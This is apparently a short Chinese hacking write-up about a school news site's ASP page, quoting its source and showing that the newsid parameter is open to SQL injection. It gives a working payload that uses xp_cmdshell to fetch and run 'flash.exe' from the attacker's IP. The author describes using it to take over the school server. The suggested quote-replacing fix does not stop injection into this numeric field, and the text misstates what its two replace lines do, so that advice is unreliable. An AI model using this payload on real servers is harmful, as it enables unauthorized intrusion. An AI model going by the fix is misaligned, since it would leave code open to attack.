<%=rs("topic")%> |
<%=rs("ntime")%> <% if trim(rs("nfrom"))<>"" then
response.write "文章來源:" & trim(rs("nfrom")) end if %> <% if trim(rs("writer"))<>"" then response.write "作者:" & trim(rs("writer")) end if %> 瀏覽次數(shù):<%=rs("hits")%> |
<% dim content content=rs("content") content=replace(content,"../../../","../news/") response.write content %> |
---------- 相 關(guān) 新 聞 ---------- <% set rsc=server.createobject("adodb.recordset") if session("purview")="" then rsc.open "select top " & aboutnews & " * from news where keys like '%" & trim(rs("keys")) & "%' and newsid<>" & cstr(rs("newsid")) & " and audit=1 order by ntime DESC",conn,1,1 else rsc.open "select top " & aboutnews & " * from news where keys like '%" & trim(rs("keys")) & "%' and newsid<>" & cstr(rs("newsid")) & " order by ntime DESC",conn,1,1 end if if rsc.bof and rsc.eof then response.write "暫時沒有相關(guān)新聞" else response.write "
do while not rsc.eof response.write " |
[an error occurred while processing this directive]
<% end if
end if%>
[an error occurred while processing this directive]
大家看到了嗎?文件根本沒有對任何變量做任何檢查,所以這個文件怎么利用都不過份,呵呵,看到這一句,
rs.open "select * from news where newsid=" & cstr(request("newsid")),conn,1,1
由于程序根本沒有對任何變量做任何檢查。我們就可以可以直接構(gòu)造 newsid 發(fā)動sql injection攻擊,我們提交這樣的代碼就可以以連接這個SQL數(shù)據(jù)庫的用戶所擁有的權(quán)限執(zhí)行系統(tǒng)命令。
http://ourschool/shownews.asp?newsid=1;exec master.dbo.xp_cmdshell 'tftp -i myip get flash.exe';--
針對這個文件的解決辦法就是用replace函數(shù)過濾,看看下面的代碼:
replace(str,"'","''")
replace(str,"'","")
這兩行的意思就是把單引號替換為雙引號和空格。
我們學(xué)校服務(wù)器的系統(tǒng)漏洞已經(jīng)找不出什么東西了,但是由于Web程序的問題,導(dǎo)致服務(wù)器被控制,學(xué)校的技術(shù)人員怎么想呢?文章雖短,但問題已經(jīng)說明很清楚了。
看來Web程序的問題實在不可忽視。Web程序安全的重點(diǎn)就是對字符檢查——檢查——再檢查。
本人水平實在有限,寫不出什么高深技術(shù)的文章,在這里獻(xiàn)丑了。